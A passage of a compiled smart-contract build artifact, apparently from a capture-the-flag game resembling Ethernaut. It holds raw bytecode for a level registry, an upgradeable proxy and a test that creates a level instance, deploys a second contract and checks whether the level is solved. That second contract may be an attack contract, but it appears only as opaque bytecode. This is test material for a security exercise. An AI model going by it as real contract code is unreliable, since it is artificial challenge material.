b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122092d5def18f4182ca147ac98fdc73e4f4ac42e645fa7bc9844c709fcea6f5333264736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;391:1616:124;420:32:154;259:12:155;391:1616:124;420:32:154;410:43;382:71;;391:1616:124;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b45565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b88565b620001b3620001fa36600462001c74565b62000a32565b6200020a62000bfd565b604051620001c7919062001d47565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001e0a565b620001da6200025736600462001ed7565b62000eff565b6200019a6200108f565b62000271620011ca565b604051620001c7919062001eef565b620001b36200029136600462001f55565b6200129f565b62000237620013be565b620002b8620002b236600462001f73565b620014b8565b6040519015158152602001620001c7565b6200027162001648565b6200019a6200171d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017cf565b620001da620018a3565b6200019a6200032f36600462001ed7565b62001903565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001faf565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001faf565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001aeb565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002050565b90508060018251620009899190620021e0565b815181106200099c576200099c62001faf565b60200260200101515f0151600281518110620009bc57620009bc62001faf565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021f6565b90505f81848560405160200162000ad492919062002248565b60408051601f198184030181529082905262000af49291602001620022f6565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002328565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021f6565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200197790919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200233c565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200233c565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bd6565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002376565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001faf565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001af9565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517f4e1c59140000000000000000000000000000000000000000000000000000000081526001600160a01b038084166004830152929350911690634e1c5914906024015f604051808303815f87803b15801562001187575f80fd5b505af11580156200119a573d5f803e3d5ffd5b5050602054602154620011c79350620011c192506001600160a01b039182169116620014b8565b62001a19565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200120d906200233c565b80601f01602080910402602001604051908101604052809291908181526020018280546200123b906200233c565b80156200128a5780601f1062001260576101008083540402835291602001916200128a565b820191905f5260205f20905b8154815290600101906020018083116200126c57829003601f168201915b505050505081526020019060010190620011ed565b5f80604051620012af9062001b06565b604051809103905ff080158015620012c9573d5f803e3d5ffd5b5090505f604051620012db9062001b14565b604051809103905ff080158015620012f5573d5f803e3d5ffd5b508483604051620013069062001b22565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001340573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139f575f80fd5b505af1158015620013b2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200144b5790505b50505050508152505081526020019060010190620013e1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001514575f80fd5b505af115801562001527573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001585575f80fd5b505af115801562001598573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015fc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001625919081019062002050565b90506001815111156200163d57600191505062001642565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200168b906200233c565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b9906200233c565b8015620017085780601f10620016de5761010080835404028352916020019162001708565b820191905f5260205f20905b815481529060010190602001808311620016ea57829003601f168201915b5050505050815260200190600101906200166b565b6023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b1580156200178d575f80fd5b505af1158015620017a0573d5f803e3d5ffd5b5050602054602154620017cd9350620017c792506001600160a01b039182169116620014b8565b62001a98565b565b6008545f9060ff1615620017e7575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001876573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200189c919062002394565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620019108243620023ac565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019ce9086908690600401620023c2565b5f60405180830381865afa158015620019e9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a129190810190620023f3565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a7e575f80fd5b505afa15801562001a91573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a67565b61083f806200242a83390190565b60598062002c6983390190565b610ae58062002cc283390190565b611e7a80620037a783390190565b610daa806200562183390190565b6001600160a01b0381168114620011c7575f80fd5b5f805f6060848603121562001b58575f80fd5b833562001b658162001b30565b9250602084013562001b778162001b30565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bca5783516001600160a01b03168352928401929184019160010162001ba3565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c105762001c1062001bd6565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c425762001c4262001bd6565b604052919050565b5f67ffffffffffffffff82111562001c665762001c6662001bd6565b50601f01601f191660200190565b5f6020828403121562001c85575f80fd5b813567ffffffffffffffff81111562001c9c575f80fd5b8201601f8101841362001cad575f80fd5b803562001cc462001cbe8262001c4a565b62001c16565b81815285602083850101111562001cd9575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d1257818101518382015260200162001cf8565b50505f910152565b5f815180845262001d3381602086016020860162001cf6565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dfb57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001de457605f1988850301835262001dd184865162001d1a565b948d01949350918c019160010162001db2565b505050968901969350509087019060010162001d6c565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ec957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eb35783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e6f565b5096890196945050509086019060010162001e31565b509098975050505050505050565b5f6020828403121562001ee8575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f4857603f1988860301845262001f3585835162001d1a565b9450928501929085019060010162001f16565b5092979650505050505050565b5f6020828403121562001f66575f80fd5b813562001a128162001b30565b5f806040838503121562001f85575f80fd5b823562001f928162001b30565b9150602083013562001fa48162001b30565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fdf5762001fdf62001bd6565b5060051b60200190565b5f62001ff962001cbe8462001c4a565b90508281528383830111156200200d575f80fd5b62001a1283602083018462001cf6565b5f82601f8301126200202d575f80fd5b62001a128383516020850162001fe9565b80516200204b8162001b30565b919050565b5f602080838503121562002062575f80fd5b825167ffffffffffffffff808211156200207a575f80fd5b818501915085601f8301126200208e575f80fd5b81516200209f62001cbe8262001fc3565b81815260059190911b83018401908481019088831115620020be575f80fd5b8585015b83811015620021bf57805185811115620020da575f80fd5b86016060818c03601f19011215620020f0575f80fd5b620020fa62001bea565b88820151878111156200210b575f80fd5b8201603f81018d136200211c575f80fd5b898101516200212f62001cbe8262001fc3565b81815260059190911b8201604001908b8101908f8311156200214f575f80fd5b6040840193505b82841015620021715783518252928c0192908c019062002156565b845250505060408201518781111562002188575f80fd5b620021988d8b838601016200201d565b8a83015250620021ab606083016200203e565b6040820152845250918601918601620020c2565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016425762001642620021cc565b5f6020828403121562002207575f80fd5b815167ffffffffffffffff8111156200221e575f80fd5b8201601f810184136200222f575f80fd5b620022408482516020840162001fe9565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200228181600585016020880162001cf6565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022c081600a84016020880162001cf6565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200230981846020880162001cf6565b8351908301906200231f81836020880162001cf6565b01949350505050565b602081525f62001a12602083018462001d1a565b600181811c908216806200235157607f821691505b6020821081036200237057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002387575f80fd5b815162001a128162001b30565b5f60208284031215620023a5575f80fd5b5051919050565b80820180821115620016425762001642620021cc565b604081525f620023d6604083018562001d1a565b8281036020840152620023ea818562001d1a565b95945050505050565b5f6020828403121562002404575f80fd5b815167ffffffffffffffff8111156200241b575f80fd5b62002240848285016200201d56fe608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ba806100855f395ff3fe608060405260043610610066575f3560e01c8063d38def5b11610041578063d38def5b146100d3578063e037f88914610102578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610444565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100f26100ed366004610466565b6101f1565b60405190151581526020016100ae565b34801561010d575f80fd5b5061011760015481565b6040519081526020016100ae565b348015610130575f80fd5b5061008561013f366004610444565b6102ce565b61014c610363565b6101555f6103bc565b565b5f600154341015610166575f80fd5b5f60405161017390610423565b604051809103905ff08015801561018c573d5f803e3d5ffd5b5090505f816001600160a01b0316346040515f6040518083038185875af1925050503d805f81146101d8576040519150601f19603f3d011682016040523d82523d5f602084013e6101dd565b606091505b50509050806101ea575f80fd5b5092915050565b5f8260646001600160a01b038216311161020e575f9150506102c8565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f3ccfd60b0000000000000000000000000000000000000000000000000000000017905290515f916001600160a01b03841691620f4240916102819161049d565b5f604051808303815f8787f1925050503d805f81146102bb576040519150601f19603f3d011682016040523d82523d5f602084013e6102c0565b606091505b505015925050505b92915050565b6102d6610363565b6001600160a01b0381166103575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610360816103bc565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161034e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102bb806104ca83390190565b6001600160a01b0381168114610360575f80fd5b5f60208284031215610